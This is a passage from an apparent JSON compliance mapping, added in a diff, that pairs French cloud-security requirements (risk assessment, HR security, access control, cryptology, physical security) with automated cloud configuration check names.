(memoire, calcul, stockage, reseau) partagees entre les commanditaires ; les risques lies a l'effacement incomplet ou non securise des donnees stockees sur les espaces de memoire ou de stockage partages entre commanditaires, en particulier lors des reallocations des espaces de memoire et de stockage ; les risques lies a l'exposition des interfaces d'administration sur un reseau public ; les risques d'atteinte a la confidentialite des donnees des commanditaires par des tiers impliques dans la fourniture du service (fournisseurs, sous-traitants, etc.) ; les risques lies aux evenements naturels et sinistres physiques ; les risques lies a la separation des taches (voir 6.2.a) ; les risques lies aux environnements de developpement (voir 14.4.b). d) Le prestataire doit lister, dans un document specifique, les risques residuels lies a l'existence de lois extra-europeennes ayant pour objectif la collecte de donnees ou metadonnees des commanditaires sans leur consentement prealable. e) Le prestataire doit mettre a la disposition du commanditaire, sur demande de celui-ci, les elements d'appreciation des risques lies a la soumission des donnees du commanditaire au droit d'un etat non-membre de l'Union Europeenne. f) Lorsqu'il existe des exigences legales, reglementaires ou sectorielles specifiques liees aux types d'informations confiees par le commanditaire au prestataire, ce dernier doit les prendre en compte dans son appreciation des risques en s'assurant de respecter l'ensemble des exigences du present referentiel d'une part et de ne pas abaisser le niveau de securite etabli par le respect des exigences du present referentiel d'autre part. g) La direction du prestataire doit accepter formellement les risques residuels identifies dans l'appreciation des risques. h) Le prestataire doit reviser annuellement l'appreciation des risques et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "6.1", + "Description": "Le prestataire doit definir et attribuer toutes les responsabilites en matiere de securite de l'information.", + "Name": "Fonctions et responsabilites liees a la securite de l'information", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une organisation interne de la securite pour assurer la definition, la mise en place et le suivi du fonctionnement operationnel de la securite de l'information au sein de son organisation. b) Le prestataire doit designer un responsable de la securite des systemes d'information et un responsable de la securite physique. c) Le prestataire doit definir et attribuer les responsabilites en matiere de securite de l'information pour le personnel implique dans la fourniture du service. d) Le prestataire doit s'assurer apres tout changement majeur pouvant avoir un impact sur le service que l'attribution des responsabilites en matiere de securite de l'information est toujours pertinente. e) Le prestataire doit definir et attribuer les responsabilites en matiere de protection de donnees a caractere personnel, en coherence avec son role dans les traitements de donnees a caractere personnel (responsable de traitement, sous-traitant ou co-responsable). f) Le prestataire doit, lorsqu'il traite un grand nombre de donnees parmi lesquelles figurent des categories particulieres de donnees a caractere personnel telles que definies dans [RGPD], designer un delegue a la protection des donnees. g) Il est recommande que le prestataire, quel que soit le volume de donnees a caractere personnel qu'il traite, designe un delegue a la protection des donnees. h) Le prestataire doit realiser ou contribuer a la realisation d'une analyse d'impact relative a la protection des donnees a caractere personnel lorsque le traitement est susceptible d'engendrer un risque eleve pour les droits et libertes des personnes concernees (traitement de categories particulieres de donnees a caractere personnel telles que definies dans [RGPD], traitement de donnees a grande echelle, etc.). Cette analyse doit comporter une evaluation juridique du respect des principes et droits fondamentaux, ainsi qu'une etude plus technique des mesures techniques mises en oeuvre pour proteger les personnes des risques pour leur vie privee." + } + ], + "Checks": [] + }, + { + "Id": "6.2", + "Description": "Le prestataire doit separer les taches et les domaines de responsabilite incompatibles afin de reduire les possibilites de modification non autorisee ou de mauvais usage des actifs.", + "Name": "Separation des taches", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les risques associes a des cumuls de responsabilites ou de taches, les prendre en compte dans l'appreciation des risques et mettre en oeuvre des mesures de reduction de ces risques." + } + ], + "Checks": [] + }, + { + "Id": "6.3", + "Description": "Le prestataire doit etablir et maintenir des relations appropriees avec les autorites competentes.", + "Name": "Relations avec les autorites", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire mette en place des relations appropriees avec les autorites competentes en matiere de securite de l'information et de donnees a caractere personnel et, le cas echeant, avec les autorites sectorielles selon la nature des informations confiees par le commanditaire au prestataire." + } + ], + "Checks": [] + }, + { + "Id": "6.4", + "Description": "Le prestataire doit etablir et maintenir des relations appropriees avec des groupes de travail specialises, des associations professionnelles ou des forums traitant de la securite.", + "Name": "Relations avec les groupes de travail specialises", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire entretienne des contacts appropries avec des groupes de specialistes ou des sources reconnues, notamment pour prendre en compte de nouvelles menaces et les mesures de securite appropriees pour les contrer." + } + ], + "Checks": [] + }, + { + "Id": "6.5", + "Description": "Le prestataire doit integrer la securite de l'information dans la gestion de projet, quel que soit le type de projet.", + "Name": "La securite de l'information dans la gestion de projet", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter une estimation des risques prealablement a tout projet pouvant avoir un impact sur le service, et ce quelle que soit la nature du projet. b) Dans la mesure ou un projet affecte ou est susceptible d'affecter le niveau de securite du service, le prestataire doit avertir le commanditaire et l'informer par ecrit des impacts potentiels, des mesures mises en place pour reduire ces impacts ainsi que des risques residuels le concernant." + } + ], + "Checks": [] + }, + { + "Id": "7.1", + "Description": "Le prestataire doit s'assurer que les candidats a l'embauche font l'objet de verifications proportionnees aux exigences metier, a la classification des informations accessibles et aux risques identifies.", + "Name": "Selection des candidats", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de verification des informations concernant son personnel conforme aux lois et reglements en vigueur. Ces verifications s'appliquent a toute personne impliquee dans la fourniture du service et doivent etre proportionnelles a la sensibilite ou a la specificite des informations du commanditaire confiees au prestataire ainsi qu'aux risques identifies. b) Pour les personnels disposant de privileges d'administration eleves sur les composants logiciels et materiels de l'infrastructure, le prestataire doit renforcer les verifications destinees a verifier que les antecedents de ceux-ci ne sont pas incompatibles avec l'exercice de leurs fonctions. Il est entendu par des privileges d'administration eleves, des actions permettant l'elevation de privileges ou la possibilite de realiser des actions sans traces techniques ou de desactiver, alterer les traces techniques." + } + ], + "Checks": [] + }, + { + "Id": "7.2", + "Description": "Les accords contractuels avec les salaries et les sous-traitants doivent preciser leurs responsabilites et celles du prestataire en matiere de securite de l'information.", + "Name": "Conditions d'embauche", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit disposer d'une charte d'ethique integree au reglement interieur, prevoyant notamment que : les prestations sont realisees avec loyaute, discretion et impartialite et dans des conditions de confidentialite des informations traitees ; les personnels ne recourent qu'aux methodes, outils et techniques valides par le prestataire ; les personnels s'engagent a ne pas divulguer d'informations a un tiers, meme anonymisees et decontextualisees, obtenues ou generees dans le cadre de la prestation sauf autorisation formelle et ecrite du commanditaire ; les personnels s'engagent a signaler au prestataire tout contenu manifestement illicite decouvert pendant la prestation ; les personnels s'engagent a respecter la legislation et la reglementation nationale en vigueur et les bonnes pratiques liees a leurs activites. b) Le prestataire doit faire signer la charte d'ethique a l'ensemble des personnes impliquees dans la fourniture du service. c) Le prestataire doit introduire, dans le contrat de travail des personnels disposant de privileges d'administration eleves sur les composants et materiels de l'infrastructure du service, un engagement de responsabilite avec un renvoi aux clauses du code du travail sur la protection du secret des affaires et de la propriete intellectuelle. Il est entendu par des privileges d'administration eleves, des actions permettant l'elevation de privileges ou la possibilite de realiser des actions sans traces techniques ou de desactiver, alterer les traces techniques. d) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible le reglement interieur et la charte d'ethique." + } + ], + "Checks": [] + }, + { + "Id": "7.3", + "Description": "Les salaries du prestataire et, le cas echeant, les sous-traitants doivent suivre un programme de sensibilisation et de formation adapte et regulier concernant la securite de l'information.", + "Name": "Sensibilisation, apprentissage et formations a la securite de l'information", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit sensibiliser a la securite de l'information et aux risques lies a la protection des donnees l'ensemble des personnes impliquees dans la fourniture du service. Il doit leur communiquer les mises a jour des politiques et procedures pertinentes dans le cadre de leurs missions. b) Le prestataire doit documenter et mettre en oeuvre un plan de formation concernant la securite de l'information adapte au service et aux missions des personnels. c) Le responsable de la securite des systemes d'information du prestataire doit valider formellement le plan de formation concernant la securite de l'information." + } + ], + "Checks": [] + }, + { + "Id": "7.4", + "Description": "Le prestataire doit mettre en place un processus disciplinaire formel et communique pour prendre des mesures a l'encontre des salaries ayant enfreint les regles de securite de l'information.", + "Name": "Processus disciplinaire", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus disciplinaire applicable a l'ensemble des personnes impliquees dans la fourniture du service ayant enfreint la politique de securite. b) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible les sanctions encourues en cas d'infraction a la politique de securite." + } + ], + "Checks": [] + }, + { + "Id": "7.5", + "Description": "Les responsabilites et les obligations en matiere de securite de l'information qui restent valables apres un changement ou une rupture du contrat de travail doivent etre definies, communiquees au salarie ou au sous-traitant et appliquees.", + "Name": "Rupture, terme ou modification du contrat de travail", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit definir et attribuer les roles et les responsabilites relatives a la rupture, au terme ou a la modification de tout contrat avec une personne impliquee dans la fourniture du service." + } + ], + "Checks": [] + }, + { + "Id": "8.1", + "Description": "Le prestataire doit identifier les actifs associes a l'information et aux moyens de traitement de l'information et doit etablir et tenir a jour un inventaire de ces actifs.", + "Name": "Inventaire et propriete des actifs", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit tenir a jour l'inventaire de l'ensemble des equipements mettant en oeuvre le service. Cet inventaire doit preciser pour chaque equipement : les informations d'identification de l'equipement (noms, adresses IP, adresses MAC, etc.) ; la fonction de l'equipement ; le modele de l'equipement ; la localisation de l'equipement ; le proprietaire de l'equipement ; le besoin de securite des informations (au sens du chapitre 8.3). b) Le prestataire doit tenir a jour l'inventaire de l'ensemble des logiciels mettant en oeuvre le service. Cet inventaire doit identifier pour chaque logiciel, sa version et les equipements sur lesquels le logiciel est installe. c) Le prestataire doit s'assurer de la validite des licences des logiciels tout au long de la prestation." + } + ], + "Checks": [ + "cloudguard_enabled" + ] + }, + { + "Id": "8.2", + "Description": "Les salaries et les utilisateurs de tiers doivent restituer tous les actifs du prestataire en leur possession au terme de la periode d'emploi, du contrat ou de l'accord.", + "Name": "Restitution des actifs", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de restitution des actifs permettant de s'assurer que chaque personne impliquee dans la fourniture du service restitue l'ensemble des actifs en sa possession a la fin de sa periode d'emploi ou de son contrat." + } + ], + "Checks": [] + }, + { + "Id": "8.3", + "Description": "Les besoins de protection de la confidentialite, de l'integrite et de la disponibilite de l'information doivent etre identifies.", + "Name": "Identification des besoins de securite de l'information", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les differents besoins de securite des informations relatives au service. b) Lorsque le commanditaire confie au prestataire des donnees soumises a des contraintes legales, reglementaires ou sectorielles specifiques, le prestataire doit identifier les besoins de securite specifiques associes a ces contraintes." + } + ], + "Checks": [] + }, + { + "Id": "8.4", + "Description": "Un ensemble de procedures appropriees pour le marquage et la manipulation de l'information doit etre elabore et mis en oeuvre conformement au plan de classification adopte par le prestataire.", + "Name": "Marquage et manipulation de l'information", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire documente et mette en oeuvre une procedure pour le marquage et la manipulation de toutes les informations participant a la delivrance du service, conformement a son besoin de securite defini au chapitre 8.3." + } + ], + "Checks": [] + }, + { + "Id": "8.5", + "Description": "Des procedures de gestion des supports amovibles doivent etre mises en oeuvre conformement au plan de classification adopte par le prestataire.", + "Name": "Gestion des supports amovibles", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure pour la gestion des supports amovibles, conformement au besoin de securite defini au chapitre 8.3. Lorsque des supports amovibles sont utilises sur l'infrastructure technique ou pour des taches d'administration, ces supports doivent etre dedies a un usage." + } + ], + "Checks": [] + }, + { + "Id": "9.1", + "Description": "Une politique de controle d'acces doit etre etablie, documentee et revue en se basant sur les exigences metier et les exigences de securite de l'information. Les regles de controle d'acces et les droits pour chaque utilisateur ou groupe d'utilisateurs doivent etre clairement definis.", + "Name": "Politiques et controle d'acces", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "identity", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de controle d'acces sur la base du resultat de son appreciation des risques et du partage des responsabilites. b) Le prestataire doit reviser annuellement la politique de controle d'acces et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [ + "identity_tenancy_admin_permissions_limited", + "identity_iam_admins_cannot_update_tenancy_admins" + ] + }, + { + "Id": "9.2", + "Description": "Un processus formel d'enregistrement et de desinscription des utilisateurs doit etre mis en oeuvre pour permettre l'attribution des droits d'acces.", + "Name": "Enregistrement et desinscription des utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure d'enregistrement et de desinscription des utilisateurs s'appuyant sur une interface de gestion des comptes et des droits d'acces. Cette procedure doit indiquer quelles donnees doivent etre supprimees au depart d'un utilisateur. b) Le prestataire doit attribuer des comptes nominatifs lors de l'enregistrement des utilisateurs places sous sa responsabilite. c) Le prestataire doit mettre en oeuvre des moyens permettant de s'assurer que la desinscription d'un utilisateur entraine la suppression de tous ses acces aux ressources du systeme d'information du service, ainsi que la suppression de ses donnees conformement a la procedure d'enregistrement et de desinscription (voir exigence 9.2 a))." + } + ], + "Checks": [] + }, + { + "Id": "9.3", + "Description": "Un processus formel de gestion des droits d'acces doit etre mis en oeuvre pour controler l'attribution des droits d'acces a tous les types d'utilisateurs et a tous les systemes et services.", + "Name": "Gestion des droits d'acces", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "identity", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'assurer l'attribution, la modification et le retrait de droits d'acces aux ressources du systeme d'information du service. b) Le prestataire doit mettre a la disposition de ses commanditaires les outils et les moyens qui permettent une differenciation des roles des utilisateurs du service, par exemple suivant leur role fonctionnel. c) Le prestataire doit tenir a jour l'inventaire des utilisateurs sous sa responsabilite disposant de droits d'administration sur les ressources du systeme d'information du service. d) Le prestataire doit etre en mesure de fournir, pour une ressource donnee mettant en oeuvre le service, la liste de tous les utilisateurs y ayant acces, qu'ils soient sous la responsabilite du prestataire ou du commanditaire ainsi que les droits d'acces qui leurs ont ete attribues. e) Le prestataire doit etre en mesure de fournir, pour un utilisateur donne, qu'ils soient sous la responsabilite du prestataire ou du commanditaire, la liste de tous ses droits d'acces sur les differents elements du systeme d'information du service. f) Le prestataire doit definir une liste de droits d'acces incompatibles entre eux. Il doit s'assurer, lors de l'attribution de droits d'acces a un utilisateur qu'il ne possede pas de droits d'acces incompatibles entre eux au titre de la liste precedemment etablie. g) Le prestataire doit inclure dans la procedure de gestion des droits d'acces les actions de revocation ou de suspension des droits de tout utilisateur." + } + ], + "Checks": [ + "identity_tenancy_admin_permissions_limited", + "identity_iam_admins_cannot_update_tenancy_admins", + "identity_tenancy_admin_users_no_api_keys", + "identity_no_resources_in_root_compartment", + "identity_non_root_compartment_exists" + ] + }, + { + "Id": "9.4", + "Description": "Les proprietaires d'actifs doivent verifier les droits d'acces des utilisateurs a intervalles reguliers.", + "Name": "Revue des droits d'acces utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "identity", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit reviser annuellement les droits d'acces des utilisateurs sur son perimetre de responsabilite. b) Le prestataire doit mettre a disposition du commanditaire un outil facilitant la revue des droits d'acces des utilisateurs places sous la responsabilite de ce dernier. c) Le prestataire doit reviser trimestriellement la liste des utilisateurs sur son perimetre de responsabilite pouvant utiliser les comptes techniques mentionnes dans l'exigence 9.2 b)." + } + ], + "Checks": [ + "identity_user_api_keys_rotated_90_days", + "identity_user_auth_tokens_rotated_90_days", + "identity_user_customer_secret_keys_rotated_90_days", + "identity_user_db_passwords_rotated_90_days" + ] + }, + { + "Id": "9.5", + "Description": "L'attribution et l'utilisation des informations secretes d'authentification doivent etre gerees dans le cadre d'un processus de gestion formel incluant une politique de mot de passe robuste et l'utilisation de l'authentification multi-facteur.", + "Name": "Gestion des authentifications des utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "identity", + "Type": "Automated", + "Comment": "a) Le prestataire doit formaliser et mettre en oeuvre des procedures de gestion de l'authentification des utilisateurs. En accord avec les exigences du chapitre 10, celles-ci doivent notamment porter sur : la gestion des moyens d'authentification (emission et reinitialisation de mot de passe, mise a jour des CRL et import des certificats racines en cas d'utilisation de certificats, etc.) ; la mise en place des moyens permettant une authentification a multiples facteurs afin de repondre aux differents cas d'usage du referentiel ; les systemes qui generent des mots de passe ou verifient leur robustesse, lorsqu'une authentification par mot de passe est utilisee. Ils doivent suivre les recommandations de [G_AUTH]. b) Tout mecanisme d'authentification doit prevoir le blocage d'un compte apres un nombre limite de tentatives infructueuses. c) Dans le cadre d'un service SaaS, le prestataire doit proposer a ses commanditaires des moyens d'authentification a multiples facteurs pour l'acces des utilisateurs finaux. d) Lorsque des comptes techniques, non nominatifs, sont necessaires, le prestataire doit mettre en place des mesures obligeant les utilisateurs a s'authentifier avec leur compte nominatif avant de pouvoir acceder a ces comptes techniques." + } + ], + "Checks": [ + "identity_password_policy_minimum_length_14", + "identity_password_policy_prevents_reuse", + "identity_password_policy_expires_within_365_days" + ] + }, + { + "Id": "9.6", + "Description": "L'acces aux interfaces d'administration du service cloud doit etre restreint et protege par des mecanismes d'authentification forte, incluant l'utilisation de dispositifs MFA materiels pour les comptes a privileges.", + "Name": "Acces aux interfaces d'administration", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "identity", + "Type": "Partially Automated", + "Comment": "a) Les comptes d'administration sous la responsabilite du prestataire doivent etre geres a l'aide d'outils et d'annuaires distincts de ceux utilises pour la gestion des comptes utilisateurs places sous la responsabilite du commanditaire. b) Les interfaces d'administration mises a disposition des commanditaires doivent etre distinctes des interfaces d'administration utilisees par le prestataire. c) Les interfaces d'administration mises a disposition des commanditaires ne doivent permettre aucune connexion avec des comptes d'administrateurs sous la responsabilite du prestataire. d) Les interfaces d'administration utilisees par le prestataire ne doivent pas etre accessibles a partir d'un reseau public et ainsi ne doivent permettre aucune connexion des utilisateurs sous la responsabilite du commanditaire. e) Si des interfaces d'administration sont mises a disposition des commanditaires avec un acces via un reseau public, les flux d'administration doivent etre authentifies et chiffres avec des moyens en accord avec les exigences du chapitre 10.2. f) Le prestataire doit mettre en place un systeme d'authentification multifacteur fort pour l'acces : aux interfaces d'administration utilisees par le prestataire ; aux interfaces d'administration dediees aux commanditaires. g) Dans le cadre d'un service SaaS, les interfaces d'administration mises a disposition des commanditaires doivent etre differenciees des interfaces permettant l'acces des utilisateurs finaux. h) Des lors qu'une interface d'administration est accessible depuis un reseau public, le processus d'authentification doit avoir lieu avant toute interaction entre l'utilisateur et l'interface en question. i) Lorsque le prestataire utilise un service de type IaaS comme socle d'un autre type de service (CaaS, PaaS ou SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service IaaS. j) Lorsque le prestataire utilise un service de type CaaS comme socle d'un autre type de service (PaaS ou SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service CaaS. k) Lorsque le prestataire utilise un service de type PaaS comme socle d'un autre type de service (typiquement SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service PaaS." + } + ], + "Checks": [ + "identity_user_mfa_enabled_console_access", + "identity_tenancy_admin_users_no_api_keys" + ] + }, + { + "Id": "9.7", + "Description": "L'acces a l'information et aux fonctions d'application des systemes doit etre restreint conformement a la politique de controle d'acces. Les ressources doivent etre protegees contre tout acces public non autorise.", + "Name": "Restriction des acces a l'information", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "network", + "Type": "Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre des mesures de cloisonnement appropriees entre ses commanditaires. b) Le prestataire doit mettre en oeuvre des mesures de cloisonnement appropriees entre le systeme d'information du service et ses autres systemes d'information (bureautique, informatique de gestion, gestion technique du batiment, controle d'acces physique, etc.). c) Le prestataire doit concevoir, developper, configurer et deployer le systeme d'information du service en assurant au moins un cloisonnement entre d'une part l'infrastructure technique et d'autre part les equipements necessaires a l'administration des services et des ressources qu'elle heberge. d) Dans le cadre du support technique, si les actions necessaires au diagnostic et a la resolution d'un probleme rencontre par un commanditaire necessitent un acces aux donnees du commanditaire, alors le prestataire doit : n'autoriser l'acces aux donnees du commanditaire qu'apres consentement explicite du commanditaire ; verifier que la personne a qui l'acces doit etre autorise a satisfait aux verifications de l'exigence 7.1.b ; dans le cas d'une intervention realisee a distance par une personne localisee hors de l'Union Europeenne, mettre en oeuvre une passerelle securisee (poste de rebond) par laquelle la personne devra se connecter et permettant une supervision (autorisation ou interdiction des actions, demandes d'explications, etc.) en temps reel, par une personne ayant elle-meme satisfait aux verifications de l'exigence 7.1.b ; considerer les actions menees, une fois l'acces autorise, comme des actions d'administration et les journaliser comme telles ; supprimer l'autorisation d'acces aux donnees du commanditaire au terme de ces actions." + } + ], + "Checks": [ + "network_default_security_list_restricts_traffic", + "network_security_group_ingress_from_internet_to_ssh_port", + "network_security_group_ingress_from_internet_to_rdp_port", + "network_security_list_ingress_from_internet_to_ssh_port", + "network_security_list_ingress_from_internet_to_rdp_port", + "objectstorage_bucket_not_publicly_accessible", + "analytics_instance_access_restricted", + "database_autonomous_database_access_restricted", + "integration_instance_access_restricted" + ] + }, + { + "Id": "10.1", + "Description": "Les donnees stockees dans le cadre du service cloud doivent etre chiffrees au repos en utilisant des algorithmes et des longueurs de cle conformes a l'etat de l'art.", + "Name": "Chiffrement des donnees stockees", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "blockstorage", + "Type": "Automated", + "Comment": "a) Le prestataire doit definir et mettre en oeuvre un mecanisme de chiffrement empechant la recuperation des donnees des commanditaires en cas de reallocation d'une ressource ou de recuperation du support physique. Dans le cas d'un service IaaS ou CaaS, cet objectif pourra par exemple etre atteint par un chiffrement du disque ou du systeme de fichier, lorsque le protocole d'acces en mode fichiers garantit que seuls des blocs vides peuvent etre alloues, ou par un chiffrement par volume dans le cas d'un acces en mode bloc, avec au moins une cle par commanditaire. Dans le cas d'un service PaaS ou SaaS, cet objectif pourra etre atteint en utilisant un chiffrement applicatif dans le perimetre du prestataire, avec au moins une cle par commanditaire. b) Le prestataire doit utiliser une methode de chiffrement des donnees respectant les regles de [CRYPTO_B1]. c) Il est recommande d'utiliser une methode de chiffrement des donnees respectant les recommandations de [CRYPTO_B1]. d) Le prestataire doit mettre en place un chiffrement des donnees sur les supports amovibles et les supports de sauvegarde amenes a quitter le perimetre de securite physique du systeme d'information du service (au sens du chapitre 10), en fonction du besoin de securite des donnees (voir chapitre 8.3)." + } + ], + "Checks": [ + "blockstorage_block_volume_encrypted_with_cmk", + "blockstorage_boot_volume_encrypted_with_cmk", + "objectstorage_bucket_encrypted_with_cmk", + "filestorage_file_system_encrypted_with_cmk" + ] + }, + { + "Id": "10.2", + "Description": "Les flux de donnees entre les composants du service cloud et entre le service et les commanditaires doivent etre chiffres en transit en utilisant des protocoles et des algorithmes conformes a l'etat de l'art.", + "Name": "Chiffrement des flux", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "compute", + "Type": "Partially Automated", + "Comment": "a) Lorsque le prestataire met en oeuvre un mecanisme de chiffrement des flux reseau, celui-ci doit respecter les regles de [CRYPTO_B1]. b) Lorsque le prestataire met en oeuvre un mecanisme de chiffrement des flux reseau, il est recommande que celui-ci respecte les recommandations de [CRYPTO_B1]. c) Si le protocole TLS est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_TLS]. d) Si le protocole IPsec est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_IPSEC]. e) Si le protocole SSH est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_SSH]." + } + ], + "Checks": [ + "compute_instance_in_transit_encryption_enabled" + ] + }, + { + "Id": "10.3", + "Description": "Les mots de passe doivent etre stockes sous forme hachee en utilisant des algorithmes robustes conformes a l'etat de l'art et les politiques de mot de passe doivent imposer des exigences de complexite adequates.", + "Name": "Hachage des mots de passe", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "identity", + "Type": "Partially Automated", + "Comment": "a) Le prestataire ne doit stocker que l'empreinte des mots de passe des utilisateurs et des comptes techniques. b) Le prestataire doit mettre en oeuvre une fonction de hachage respectant les regles de [CRYPTO_B1]. c) Il est recommande que le prestataire mette en oeuvre une fonction de hachage respectant les recommandations de [CRYPTO_B1]. d) Le prestataire doit generer les empreintes des mots de passe avec une fonction de hachage associee a l'utilisation d'un sel cryptographique respectant les regles de [CRYPTO_B1]." + } + ], + "Checks": [ + "identity_password_policy_minimum_length_14", + "identity_password_policy_prevents_reuse" + ] + }, + { + "Id": "10.4", + "Description": "Des mecanismes de non-repudiation doivent etre mis en oeuvre pour assurer la tracabilite des actions effectuees sur le service cloud, incluant la validation de l'integrite des journaux.", + "Name": "Non repudiation", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "audit", + "Type": "Partially Automated", + "Comment": "a) Lorsque le prestataire met en oeuvre un mecanisme de signature electronique, celui-ci doit respecter les regles de [CRYPTO_B1]. b) Lorsque le prestataire met en oeuvre un mecanisme de signature electronique, il est recommande que celui-ci respecte les recommandations de [CRYPTO_B1]." + } + ], + "Checks": [ + "audit_log_retention_period_365_days" + ] + }, + { + "Id": "10.5", + "Description": "Les secrets cryptographiques (cles, certificats, mots de passe) doivent etre geres de maniere securisee tout au long de leur cycle de vie, incluant la generation, le stockage, la distribution, la rotation et la destruction.", + "Name": "Gestion des secrets", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "kms", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre des cles cryptographiques respectant les regles de [CRYPTO_B2]. b) Il est recommande que le prestataire mette en oeuvre des cles cryptographiques respectant les recommandations de [CRYPTO_B2]. c) Le prestataire doit proteger l'acces aux cles cryptographiques et autres secrets utilises pour le chiffrement des donnees par un moyen adapte : conteneur de securite (logiciel ou materiel) ou support disjoint. d) Le prestataire doit proteger l'acces aux cles cryptographiques et autres secrets utilises pour les taches d'administration par un conteneur de securite adapte, logiciel ou materiel." + } + ], + "Checks": [ + "kms_key_rotation_enabled", + "identity_user_api_keys_rotated_90_days", + "identity_user_customer_secret_keys_rotated_90_days", + "identity_user_auth_tokens_rotated_90_days", + "identity_user_db_passwords_rotated_90_days" + ] + }, + { + "Id": "10.6", + "Description": "Les racines de confiance (certificats racine, autorites de certification) utilisees dans le cadre du service cloud doivent etre gerees de maniere securisee. Les certificats doivent etre valides et utiliser des algorithmes de cle robustes.", + "Name": "Racines de confiance", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "general", + "Type": "Manual", + "Comment": "a) Sur l'infrastructure technique, le prestataire doit utiliser exclusivement des certificats de cle publique issus d'une autorite de certification d'un Etat membre de l'Union Europeenne (les ceremonies de generation des cles maitresses doivent avoir lieu dans un pays membre de l'Union Europeenne et en presence du prestataire)." + } + ], + "Checks": [] + }, + { + "Id": "11.1", + "Description": "Des perimetres de securite doivent etre definis et utilises pour proteger les zones contenant des informations sensibles ou critiques et les moyens de traitement de l'information.", + "Name": "Perimetres de securite physique", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des perimetres de securite, incluant le marquage des zones et les differents moyens de limitation et de controle des acces. b) Le prestataire doit distinguer des zones publiques, des zones privees et des zones sensibles. 11.1.1. Zones publiques : a) Les zones publiques sont accessibles a tous dans les limites de la propriete du prestataire. Le prestataire ne doit heberger aucune ressource devolue au service ou permettant d'acceder a des composantes de celui-ci dans les zones publiques. 11.1.2. Zones privees : a) Les zones privees peuvent heberger : les plateformes et moyens de developpement du service ; les postes d'administration, d'exploitation et de supervision ; les locaux a partir desquels le prestataire opere. 11.1.3. Zones sensibles : a) Les zones sensibles sont reservees a l'hebergement du systeme d'information de production du service hors postes d'administration, d'exploitation et de supervision." + } + ], + "Checks": [] + }, + { + "Id": "11.2", + "Description": "Les zones securisees doivent etre protegees par des controles d'acces physiques adequats pour s'assurer que seul le personnel autorise est admis.", + "Name": "Controle d'acces physique", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "11.2.1. Zones privees : a) Le prestataire doit proteger les zones privees contre les acces non autorises. Pour ce faire, il doit mettre en oeuvre un controle 